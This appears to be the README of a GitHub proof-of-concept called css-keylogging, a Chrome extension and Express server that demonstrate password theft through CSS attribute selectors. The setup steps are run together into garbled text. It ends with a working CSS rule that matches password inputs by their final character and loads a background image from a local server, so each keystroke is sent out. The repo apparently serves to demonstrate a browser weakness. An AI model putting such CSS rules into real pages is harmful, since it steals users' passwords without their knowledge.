maxchehab/css-keyloggingChrome extension and Express server that exploits keylogging abilities of CSS.
Chrome extension and Express server that exploits keylogging abilities of CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).Load unpacked extension… to pop up a file-selection dialog.css-keylogger-extension in the directory which you downloaded this repository.yarnyarn startC on the top right of any webpage.This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image.
For example, the following css will select all input's with a type that equals password and a value that ends with a.
It will then try to load an image from http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}